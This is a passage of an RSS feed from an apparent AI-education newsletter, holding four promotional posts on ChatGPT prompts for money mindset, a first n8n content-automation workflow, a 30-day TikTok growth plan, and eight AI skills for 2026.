ChatGPT prompts to help you self-reflect on your limiting beliefs and break through!]]></description><link>https://www.sabrina.dev/p/psychology-of-making-money-chatgpt-prompts</link><guid isPermaLink="false">https://www.sabrina.dev/p/psychology-of-making-money-chatgpt-prompts</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Sat, 07 Feb 2026 20:12:04 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/30KColiiEq0" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>I personally love the intersection of:</p><p>AI + psychology + self-improvement</p><p>In this video, I share the most common limiting beliefs around success and making money. </p><p>Then I walk through a few ChatGPT prompts to help you evaluate your own limiting beliefs and break through.</p><div id="youtube2-30KColiiEq0" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;30KColiiEq0&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/30KColiiEq0?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p><em>To support my free AI education: HIT LIKE + DROP A COMMENT&#128591;</em></p><div><hr></div><h2>ATTENTION BUSINESS OWNERS: </h2><h2>Enter $500 Gift Card Raffle! </h2><p>Help me understand your current process and biggest challenges in creating content for your business.</p><p>To thank you for your time:</p><ul><li><p>I&#8217;m giving out 3 (three) <em><strong>$500 Amazon gift cards</strong></em></p></li><li><p><em><strong>I will personally help you</strong></em> if I notice issues/gaps that can be easily fixed</p></li></ul><p>Here&#8217;s the <a href="https://forms.gle/rvqjo87qqwJUz3hy5">link</a>.</p><p>Feel free to share this with other business owners!</p><div class="poll-embed" data-attrs="{&quot;id&quot;:425117}" data-component-name="PollToDOM"></div><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/psychology-of-making-money-chatgpt-prompts?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">If you LOVE this newsletter, please <strong>SHARE</strong> it to help teach more people for FREE!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/psychology-of-making-money-chatgpt-prompts?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/psychology-of-making-money-chatgpt-prompts?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[Build Your First AI Automation!]]></title><description><![CDATA[Part 1: learn how to setup n8n and make your first AI Automation, a content creation workflow that makes carousels and videos!]]></description><link>https://www.sabrina.dev/p/build-your-first-ai-automation</link><guid isPermaLink="false">https://www.sabrina.dev/p/build-your-first-ai-automation</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Sun, 01 Feb 2026 23:35:51 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/6bBWmnv8Q8o" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div><hr></div><p>In this 3-part video series, I&#8217;ll teach you everything you need to know to start building AI Automations in n8n.</p><p>It&#8217;s difficult to learn this skill via passive reading, so please follow along this Youtube tutorial:</p><div id="youtube2-6bBWmnv8Q8o" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;6bBWmnv8Q8o&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/6bBWmnv8Q8o?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p><em>To support my free AI education: HIT LIKE + LEAVE A COMMENT&#128591;</em></p><div><hr></div><h2>What is the workflow?</h2><div class="captioned-image-container"><figure><a class="image-link image2" target="_blank" href="https://substackcdn.com/image/fetch/$s_!PUVt!,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png" data-component-name="Image2ToDOM"><div class="image2-inset"><picture><source type="image/webp" srcset="https://substackcdn.com/image/fetch/$s_!PUVt!,w_424,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png 424w, https://substackcdn.com/image/fetch/$s_!PUVt!,w_848,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png 848w, https://substackcdn.com/image/fetch/$s_!PUVt!,w_1272,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png 1272w, https://substackcdn.com/image/fetch/$s_!PUVt!,w_1456,c_limit,f_webp,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png 1456w" sizes="100vw"><img src="https://substackcdn.com/image/fetch/$s_!PUVt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png" width="1456" height="298" data-attrs="{&quot;src&quot;:&quot;https://substack-post-media.s3.amazonaws.com/public/images/cd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png&quot;,&quot;srcNoWatermark&quot;:null,&quot;fullscreen&quot;:null,&quot;imageSize&quot;:null,&quot;height&quot;:298,&quot;width&quot;:1456,&quot;resizeWidth&quot;:null,&quot;bytes&quot;:537507,&quot;alt&quot;:null,&quot;title&quot;:null,&quot;type&quot;:&quot;image/png&quot;,&quot;href&quot;:null,&quot;belowTheFold&quot;:false,&quot;topImage&quot;:true,&quot;internalRedirect&quot;:&quot;https://www.sabrina.dev/i/186554458?img=https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png&quot;,&quot;isProcessing&quot;:false,&quot;align&quot;:null,&quot;offset&quot;:false}" class="sizing-normal" alt="" srcset="https://substackcdn.com/image/fetch/$s_!PUVt!,w_424,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png 424w, https://substackcdn.com/image/fetch/$s_!PUVt!,w_848,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png 848w, https://substackcdn.com/image/fetch/$s_!PUVt!,w_1272,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png 1272w, https://substackcdn.com/image/fetch/$s_!PUVt!,w_1456,c_limit,f_auto,q_auto:good,fl_progressive:steep/https%3A%2F%2Fsubstack-post-media.s3.amazonaws.com%2Fpublic%2Fimages%2Fcd90484f-39b4-4263-9e84-5e16ef761383_2030x416.png 1456w" sizes="100vw" fetchpriority="high"></picture><div></div></div></a></figure></div><ul><li><p>Use AI to research topic</p></li><li><p>Use AI to make carousel/video</p></li><li><p>Post to social media platforms</p></li></ul><div><hr></div><h2>Who is this for?</h2><ul><li><p>Small businesses that want to consistently post on socials</p></li><li><p>Creators who want to repurpose their Tiktok/Youtube videos into different media format (e.g. video &#8594; carousel)</p></li><li><p>Building personal or faceless brand channels</p></li><li><p>Posting daily news updates to your audience</p></li><li><p>Entertainment style faceless videos</p></li></ul><div><hr></div><h2>Next Steps</h2><p>This tutorial walks through the basics of setting up this powerful content workflow. Treat it as a base template. </p><p>To improve it further, spend lots of time experimenting with different visual styles and text outputs.</p><p>In the next video, I&#8217;ll show you how to use the n8n AI Agent.</p><div><hr></div><h2>OIdies But Goodies&#8230;</h2><p>Here are previous tutorials you may have missed!</p><ul><li><p><a href="https://youtu.be/foLPJRmXBkU">3 simple tips to unlock ChatGPT genius mode</a></p></li><li><p><a href="https://youtu.be/AB_5ifmBqec">Easy social media system in n8n &amp; Make</a></p></li><li><p><a href="https://youtu.be/xqcl9dAAkC0">Explaining AI agents vs AI workflows</a></p></li><li><p><a href="https://youtu.be/wv26S6LpqM0">Vibe coding Blotato with Cursor AI</a></p></li><li><p><a href="https://youtu.be/MddXY0I-EY8">AI wealth creation blueprint</a></p></li><li><p><a href="https://youtu.be/vXDuUZ4mX1g">My first long youtube ever!</a></p></li></ul><div class="poll-embed" data-attrs="{&quot;id&quot;:442921}" data-component-name="PollToDOM"></div><p></p><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/build-your-first-ai-automation?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">If you LOVE this newsletter, please <strong>SHARE</strong> it to help teach more people for FREE!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/build-your-first-ai-automation?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/build-your-first-ai-automation?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[Your 30 day plan to blow up on Tiktok in 2026]]></title><description><![CDATA[Simple step-by-step social media playbook to get 100+ followers per day]]></description><link>https://www.sabrina.dev/p/30-day-plan-tiktok-growth</link><guid isPermaLink="false">https://www.sabrina.dev/p/30-day-plan-tiktok-growth</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Tue, 27 Jan 2026 21:04:11 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/T-F_2Kga3Os" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div><hr></div><p>If you want to blow up on TikTok in 2026, this one&#8217;s for you! </p><p>Follow my simple 30-day plan to get more views, grow your audience, and start gaining 100+ followers per day. Even if you're brand new or feel stuck in 200-view jail.<br><br>This system works. I'm living proof. Many others are too.</p><p>This strategy works without luck, and it&#8217;s designed for creators who are serious about growing their brand, selling products, or turning content into a meaningful income stream/business. </p><p>Whether you're an online coach, an educator, a SaaS founder, or just trying to figure out how the algos work&#8230; this video will show you what to do every day, how often to post, and how to finally start getting results from social media.</p><div><hr></div><p><em>Watch my Youtube for the full tutorial:</em></p><div id="youtube2-T-F_2Kga3Os" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;T-F_2Kga3Os&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/T-F_2Kga3Os?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><p><em>To support my free AI education: HIT LIKE + LEAVE A COMMENT&#128591;</em></p><div><hr></div><p>Please watch the Youtube video for the full hands-on tutorial. </p><p>I screenshare how to find viral examples and how to use AI to help write your hooks and scripts.</p><p>Below, I&#8217;ll just answer some FAQs:</p><h3>1. Why Tiktok? </h3><p>I agree with Gary Vee on this one&#8230; </p><p>Tiktok remains the #1 social platform in the world and the only platform where A SINGLE post can dramatically transform your life/business overnight.</p><p>It's also the best platform for new creators because you don't get punished for posting multiple times per day. This means you can post multiple times daily, collecting the data you need faster to iterate on what's working. TikTok teaches you how to be a good creator faster than if you were to start on other platforms. Because you get more reps in. More feedback, faster. So you can double down on what&#8217;s working. </p><p>And Tiktok does not care how many current followers you have. Every single post gets a fair shot at virality, even if you have ZERO followers today.</p><h3>2. Which AI Tool Should I Use?</h3><p>It does NOT matter which AI tool you use. There is no right one. Honestly, you don&#8217;t need AI when you&#8217;re just starting out.</p><p>The most important thing is consistency over a long time horizon. I don&#8217;t want to recommend any specific AI tool and imply it guarantees success. </p><p>In my YouTube tutorial, I&#8217;ll show you how to use ChatGPT for free to help write hooks and scripts. But it is NOT a magic bullet. </p><p>You must still put in the work, lots of trial and error, pushing through moments of self-doubt.</p><p>However, I assure you it is 1000% worth it.</p><p>My background is tech and I laughed off &#8220;influencer&#8221; stuff for a long time. But I was wrong. Creating content is an incredible source of leverage (for my own projects) and an incredible opportunity to serve/teach millions of people around the world.</p><h3>3. But what if my audience isn&#8217;t on TikTok? </h3><p>I still encourage starting with TikTok even if you don&#8217;t think your audience is on it because of question #1 one above. TikTok teaches you to be a good content creator faster than any other platform. With that said, you&#8217;re probably mistaken believing nobody in your audience is on TikTok.</p><p>I&#8217;ve found pretty much everybody is either on TikTok or Instagram and the principles you learn creating content on TikTok will apply directly to Instagram as well. Also, you can repurpose content from TikTok directly to Instagram, which is what I do on autopilot. I literally don&#8217;t know how to use Instagram; I never open it. Yet, I&#8217;ve grown from zero to almost 500k IG followers on autopilot. </p><p>I&#8217;ve been DM&#8216;ed by folks crushing it at the top of their industry, C-level executives at public companies, and even billionaires&#8230; just by posting on social media. It&#8217;s kinda surreal.</p><h3>4. What&#8217;s the #1 mistake to watch out for?</h3><p>The answer is simple:</p><p>Giving up too early.</p><p>Be realistic in your timelines. Expect ~12 months to build up momentum, especially because you probably <em>won&#8217;t be consistent</em> posting multiple times per day. </p><p>&#8220;Get your first 100 posts out of the way as fast as possible.&#8221; </p><p>I think I watched a video podcast where the guest said that, and it really stuck with me. Honestly, 100 posts is just a warm up. You&#8217;re still figuring out your voice, what you like to talk about, your step-by-step posting process, etc. </p><div><hr></div><div class="poll-embed" data-attrs="{&quot;id&quot;:440241}" data-component-name="PollToDOM"></div><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/30-day-plan-tiktok-growth?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">If you LOVE this newsletter, please <strong>SHARE</strong> it to help teach more people for FREE!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/30-day-plan-tiktok-growth?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/30-day-plan-tiktok-growth?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item><item><title><![CDATA[The 8 AI Skills That Will Separate Winners From Losers in 2026]]></title><description><![CDATA[Everyone is scared AI will replace them.]]></description><link>https://www.sabrina.dev/p/8-ai-skills-learn-2026</link><guid isPermaLink="false">https://www.sabrina.dev/p/8-ai-skills-learn-2026</guid><dc:creator><![CDATA[Sabrina Ramonov 🍄]]></dc:creator><pubDate>Tue, 20 Jan 2026 16:17:46 GMT</pubDate><enclosure url="https://substackcdn.com/image/youtube/w_728,c_limit/4Q7gUXAveL0" length="0" type="image/jpeg"/><content:encoded><![CDATA[<div><hr></div><p>Everyone is scared AI will replace them. </p><p>You see kids building apps and automations, somehow printing money, while you feel overwhelmed, jealous, and eager all at once.</p><p>But you don&#8217;t need to be a tech genius or a coder to win. </p><p>You just need these 8 skills to future-proof yourself.</p><div><hr></div><blockquote><p><em>Watch my Youtube for my whiteboard lecture!</em></p></blockquote><div id="youtube2-4Q7gUXAveL0" class="youtube-wrap" data-attrs="{&quot;videoId&quot;:&quot;4Q7gUXAveL0&quot;,&quot;startTime&quot;:null,&quot;endTime&quot;:null}" data-component-name="Youtube2ToDOM"><div class="youtube-inner"><iframe src="https://www.youtube-nocookie.com/embed/4Q7gUXAveL0?rel=0&amp;autoplay=0&amp;showinfo=0&amp;enablejsapi=0" frameborder="0" loading="lazy" gesture="media" allow="autoplay; fullscreen" allowautoplay="true" allowfullscreen="true" width="728" height="409"></iframe></div></div><blockquote><p><em>To support my free AI education: HIT LIKE + LEAVE COMMENT&#128591;</em></p></blockquote><div><hr></div><p>Below, I&#8217;ve listed the 8 skills with only brief commentary.</p><p>Watch the full <a href="https://youtu.be/4Q7gUXAveL0">Youtube video with my whiteboard breakdown</a>!</p><h2>Phase 1: Mindset</h2><p>These are 3 foundational skills that will serve you for the rest of your career. </p><p>It was hard to choose only 3.</p><p>But I&#8217;m 100% confident these 3 skills lay the foundation for EXPONENTIAL GROWTH.</p><p>They are NOT specific to AI, by design.</p><p><strong>1. Skepticism</strong></p><ul><li><p><strong>Trap:</strong> Believing what you hear. This often fuels &#8220;Shiny Object Syndrome&#8221; where you try every new tool or business model you just heard on Instagram. Jumping ship from vibe coding to automations to whatever Reel you just saw.</p></li><li><p><strong>Skill:</strong> Be skeptical of clickbait engineered hype. Be skeptical of AI generated answers. Be skeptical of expensive paid courses. Be skeptical of gurus who claim you need their special knowledge to succeed.</p></li></ul><p><strong>2. Learn to Love Learning</strong></p><ul><li><p><strong>Trap:</strong> Stressed and afraid to learn new things, so when new AI tools come out you feel overwhelmed and resist learning. Putting too much pressure on yourself over making money right now with every thing you do.</p></li><li><p><strong>Skill:</strong> Relax a lot, stop thinking about everything in terms of immediate ROI, stop stressing over falling behind, play with AI tools and HAVE FUN.</p></li></ul><p><strong>3. Learn in Public</strong></p><ul><li><p><strong>Trap:</strong> Avoiding posting content because you&#8217;re waiting until you&#8217;ve mastered an AI tool/skill, or finished building. </p></li><li><p><strong>Skill:</strong> Share your learnings, wins, and failures online transparently. Even if something fails, you can just say, &#8220;I tried this, it didn&#8217;t work, but here&#8217;s what I learned.&#8221; Build your brand and help people who are a few steps behind you. AI makes creating content cheap. <em>Trust</em> is expensive. Become the &#8220;AI Person&#8221; in your circle so that opportunities come to you.</p></li></ul><div><hr></div><h2>Phase 2: AI Foundations</h2><p><em>These are foundational skills when using any AI tool.</em></p><p><strong>4. Context Engineering</strong></p><ul><li><p><strong>Concept:</strong> The more high-quality information and context about your situation, goals, what you&#8217;ve tried, what didn&#8217;t work, data, etc. you give AI, the higher-quality answers you get. </p></li><li><p><strong>Template:</strong> Instead of overly focusing on writing the perfect prompt, focus on providing high-quality context (information) to AI. A simple template I like to use:</p><ul><li><p>You are a top 0.1% expert in FIELD, helping me with TASK</p></li><li><p>CONTEXT: bullet point list of all my info</p></li><li><p>CONSTRAINTS: bullet point list of all my constraints</p></li><li><p>Ask me clarifying questions, one at a time, until you are 95% confident you can complete the task successfully</p></li></ul></li></ul><p><strong>5. Sparring Partners</strong></p><ul><li><p><strong>Concept:</strong> Stop using AI for surface-level answers. Use AI to understand what questions you should&#8217;ve been asking.</p></li><li><p><strong>Action:</strong> Tell AI to act as a critic or skeptic. For example, instead of ChatGPT glazing you, ask it, &#8220;Tear my idea apart and find my blind spots.&#8221; Use multiple LLM models to compare and contrast answers; look for convergence and divergence of answers.</p></li></ul><div><hr></div><h2>Phase 3: AI Tech Stack</h2><p><em>Here are the technical skills you should learn in 2026 to increase your leverage and actually use AI to scale yourself. However, if you&#8217;re still struggling with the previous 5 skills, I recommend spending your time on developing those FIRST.</em></p><p><strong>6. Vibe Coding</strong></p><ul><li><p>What is vibe coding? Building apps in plain English. You no longer need to spend years learning coding syntax to spin up simple sites.</p></li><li><p><strong>Y</strong>ou can build websites, landing pages, calculators, lead magnets, and simple web &amp; mobile apps just by describing them. The key is to keep it SIMPLE, like literally 1 tiny feature, and describe it clearly.</p></li></ul><p><strong>7. AI Systems</strong></p><ul><li><p>There&#8217;s a big difference between chatting manually with ChatGPT vs. having a 24/7 system on autopilot doing work.</p></li><li><p>For example:</p><ul><li><p><em>Old Way:</em> Copy/paste a customer support ticket email into ChatGPT, write reply, paste back into Gmail.</p></li><li><p><em>New Way:</em> AI system that reads the support ticket, checks your knowledge base, and sends a reply via Gmail.</p></li></ul></li><li><p>The reason why I&#8217;m so excited teaching AI, especially to entrepreneurs, is because you can now scale yourself to meaningful income levels, without traditionally hiring a big team or raising capital. You can own your destiny. To be honest, I sleep A LOT better without investors or a Board. But the key is to build AI systems that work while you sleep.</p></li></ul><p><strong>8. Documentation</strong></p><ul><li><p>However, AI Systems fail if they don&#8217;t know the rules. That is, if they don&#8217;t have meaningful or sufficient context.</p></li><li><p>I chose Documentation as a separate skill because the mileage you get out of AI systems squarely depends on the quality of your documentation. It is the &#8220;brain&#8221; powering your AI System. Write clear, step-by-step instructions. Continually update your documentation, as it becomes your competitive advantage.</p></li><li><p>Think about it this way: &#8220;How would you explain this task to a brand new employee?&#8221; Write <em>that</em> down. That&#8217;s your documentation.</p></li></ul><div><hr></div><h2>The Formula</h2><p>The gap between winners and losers isn&#8217;t technical ability.</p><p>It comes down to this formula:</p><p><strong>AI Leverage</strong> = <strong>Skills x Clarity</strong></p><p>And when it comes to Skills, if you love learning and learn in public, you&#8217;ll be able to acquire new skills quickly while building your brand in the process. </p><p>You get rewarded for learning (since brand is an asset). </p><p>Plus, communicating what you&#8217;ve learned helps you learn it better.</p><p>The more Skills you have, the more Clarity you have when using AI. You provide better context to AI tools, you have deeper complex sparring sessions, and you make smarter decisions about what AI Systems and Vibe Coded apps are worth building.</p><p>Most importantly, use AI to level up YOU. </p><p>The more skills you have, the more clarity you will have, and the more leverage you will get out of AI.</p><div><hr></div><div class="poll-embed" data-attrs="{&quot;id&quot;:436328}" data-component-name="PollToDOM"></div><div class="captioned-button-wrap" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/8-ai-skills-learn-2026?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="CaptionedButtonToDOM"><div class="preamble"><p class="cta-caption">If you LOVE this newsletter, please <strong>SHARE</strong> it to help teach more people for FREE!</p></div><p class="button-wrapper" data-attrs="{&quot;url&quot;:&quot;https://www.sabrina.dev/p/8-ai-skills-learn-2026?utm_source=substack&utm_medium=email&utm_content=share&action=share&quot;,&quot;text&quot;:&quot;Share&quot;}" data-component-name="ButtonCreateButton"><a class="button primary" href="https://www.sabrina.dev/p/8-ai-skills-learn-2026?utm_source=substack&utm_medium=email&utm_content=share&action=share"><span>Share</span></a></p></div><h2><strong>P.S. Need More Help? &#128075;</strong></h2><blockquote><p>1/ Free <em><strong><a href="https://www.sabrina.dev/p/start">AI courses</a></strong></em></p><p>2/ Free <em><strong><a href="https://prompts.sabrina.dev/">AI prompts</a></strong></em></p><p>3/ Free<strong> </strong><em><strong><a href="https://agents.sabrina.dev/">AI automations</a></strong></em></p><p>4/ Free <em><strong><a href="https://freevibecode.ai/">AI vibe coding</a></strong></em></p><p>5/ Ask me anything @ <em><strong><a href="https://www.sabrina.dev/p/livestream">Friday livestream</a></strong></em></p><p>6/ Free private community for <em><strong><a href="https://www.skool.com/women-building-ai-2577">Women Building AI</a></strong></em></p><p>7/ I built<em><strong> <a href="https://www.blotato.com/">Blotato</a> </strong></em>to grow 1M+ followers in 1 year</p></blockquote>]]></content:encoded></item></channel></rss>